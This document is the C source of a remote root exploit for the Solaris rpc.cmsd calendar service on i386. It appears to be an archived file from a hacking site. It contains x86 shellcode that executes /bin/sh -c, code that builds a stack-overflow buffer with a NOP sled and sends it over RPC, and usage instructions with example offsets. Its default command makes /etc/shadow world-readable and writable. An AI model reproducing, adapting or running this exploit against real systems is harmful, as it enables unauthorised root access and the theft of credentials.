/* * cmsdex - i386 Solaris remote root exploit for /usr/dt/bin/rpc.cmsd * * Tested and confirmed under Solaris 2.6 and 7.0 (i386) * * Usage: % cmsdex -h hostname -c command -s sp -o offset * * where hostname is the hostname of the machine running the vulnerable * CDE calendar service, command is the command to run as root on the * vulnerable machine, sp is the %esp stack pointer value, and offset * is the number of bytes to add to sp to calculate your target %eip * (try -1000 to 1000 in increments of 10 or so for starters once you * have a good guess at the stack pointer). * * When specifying a command, be sure to pass it to the exploit as a * single argument, namely enclose the command string in quotes if it * contains spaces or other special shell delimiter characters. The * command string must not be longer than 100 bytes. The exploit will * pass this string without modification to /bin/sh -c on the remote * machine, so any normally allowed Bourne shell syntax is also allowed * in the command string. Due to the nature of the exploit, the command * string must not contain any @ characters. * * Demonstration values for i386 Solaris: * * (2.6) cmsdex -h host.example.com -c "touch /0wn3d" -s 0x0804748c -o 0 * (7.0) cmsdex -h host.example.com -c "touch /0wn3d" -s 0x08047378 -o 0 * * June 4, 1999 */ #include #include #include #include #include #define CMSD_PROG 100068 #define CMSD_VERS 4 #define CMSD_PROC 21 #define EGGLEN 1036 #define JUGULAR 1024 #define NOP 0x90 char shell[] = /* 0 */ "\xeb\x3d" /* jmp springboard [2000]*/ /* syscall: [2000]*/ /* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 [2000]*/ /* 9 */ "\xc3" /* ret [2000]*/ /* start: [2000]*/ /* 10 */ "\x5e" /* popl %esi [2000]*/ /* 11 */ "\x31\xc0" /* xor %eax,%eax [2000]*/ /* 13 */ "\x89\x46\xbf" /* movl %eax,-0x41(%esi) */ /* 16 */ "\x88\x46\xc4" /* movb %al,-0x3c(%esi) */ /* 19 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ /* 22 */ "\x88\x46\x17" /* movb %al,0x17(%esi) */ /* 25 */ "\x88\x46\x1a" /* movb %al,0x1a(%esi) */ /* 28 */ "\x88\x46\xff" /* movb %al,0x??(%esi) */ /* execve: [2000]*/ /* 31 */ "\x31\xc0" /* xor %eax,%eax [2000]*/ /* 33 */ "\x50" /* pushl %eax [2000]*/ /* 34 */ "\x56" /* pushl %esi [2000]*/ /* 35 */ "\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */ /* 38 */ "\x89\x1e" /* movl %ebx,(%esi)[2000]*/ /* 40 */ "\x53" /* pushl %ebx [2000]*/ /* 41 */ "\x8d\x5e\x18" /* leal 0x18(%esi),%ebx */ /* 44 */ "\x89\x5e\x04" /* movl %ebx,0x4(%esi) */ /* 47 */ "\x8d\x5e\x1b" /* leal 0x1b(%esi),%ebx */ /* 50 */ "\x89\x5e\x08" /* movl %ebx,0x8(%esi) */ /* 53 */ "\xb0\x3b" /* movb $0x3b,%al [2000]*/ /* 55 */ "\xe8\xc6\xff\xff\xff" /* call syscall [2000]*/ /* 60 */ "\x83\xc4\x0c" /* addl $0xc,%esp [2000]*/ /* springboard: [2000]*/ /* 63 */ "\xe8\xc6\xff\xff\xff" /* call start [2000]*/ /* data: [2000]*/ /* 68 */ "\xff\xff\xff\xff" /* DATA [2000]*/ /* 72 */ "\xff\xff\xff\xff" /* DATA [2000]*/ /* 76 */ "\xff\xff\xff\xff" /* DATA [2000]*/ /* 80 */ "\xff\xff\xff\xff" /* DATA [2000]*/ /* 84 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA [2000]*/ /* 92 */ "\x2d\x63\xff"; /* DATA [2000]*/ extern char *optarg; struct cm_send { char *s1; char *s2; }; struct cm_reply { int i; }; bool_t xdr_cm_send(XDR *xdrs, struct cm_send *objp) { if (!xdr_wrapstring(xdrs, &objp->s1)) return (FALSE); if (!xdr_wrapstring(xdrs, &objp->s2)) return (FALSE); return (TRUE); } bool_t xdr_cm_reply(XDR *xdrs, struct cm_reply *objp) { if (!xdr_int(xdrs, &objp->i)) return (FALSE); return (TRUE); } int main(int argc, char *argv[]) { int c, slen, clen; char *program, *hostname, *command, egg[EGGLEN+1], *eggp; unsigned long int sp = 0, addr, alen = 16; long int offset = 0; CLIENT *cl; struct cm_send send; struct cm_reply reply; struct timeval tm = { 10, 0 }; enum clnt_stat stat; program = argv[0]; hostname = "localhost"; command = "chmod 666 /etc/shadow"; while ((c = getopt(argc, argv, "h:c:s:o:a:")) != EOF) { switch (c) { case 'h': hostname = optarg; break; case 'c': command = optarg; break; case 's': sp = strtoul(optarg, NULL, 0); break; case 'o': offset = strtol(optarg, NULL, 0); break; case 'a': alen = strtoul(optarg, NULL, 0); break; case '?': default: printf("usage: %s -h hostname -c command -s sp -o offset\n", program); exit(1); break; } } slen = strlen(shell); clen = strlen(command); if (clen > 100) { printf("exploit failed; command string too long " "(must not exceed 100 characters)\n"); exit(1); } shell[30] = (char) (clen + 27); memset(egg, NOP, EGGLEN); eggp = egg + EGGLEN - alen - 1 - clen - slen; memcpy(eggp, shell, slen); eggp += slen; memcpy(eggp, command, clen); eggp += clen; *eggp++ = '\xff'; addr = sp + offset; while (eggp <= egg + EGGLEN - 4) { *eggp++ = (addr >> 0) & 0xff; *eggp++ = (addr >> 8) & 0xff; *eggp++ = (addr >> 16) & 0xff; *eggp++ = (addr >> 24) & 0xff; } egg[JUGULAR] = '\xff'; egg[EGGLEN] = '\0'; send.s1 = egg; send.s2 = ""; cl = clnt_create(hostname, CMSD_PROG, CMSD_VERS, "udp"); if (cl == NULL) { clnt_pcreateerror("clnt_create"); printf("exploit failed; unable to contact RPC server\n"); exit(1); } cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL); stat = clnt_call(cl, CMSD_PROC, xdr_cm_send, (caddr_t) &send, xdr_cm_reply, (caddr_t) &reply, tm); if (stat == RPC_SUCCESS) { printf("exploit failed; RPC succeeded and returned %d\n", reply.i); clnt_destroy(cl); exit(1); } else { clnt_perror(cl, "clnt_call"); printf("exploit probably worked; RPC failure was expected\n"); clnt_destroy(cl); exit(0); } } /* www.hack.co.za [2000]*/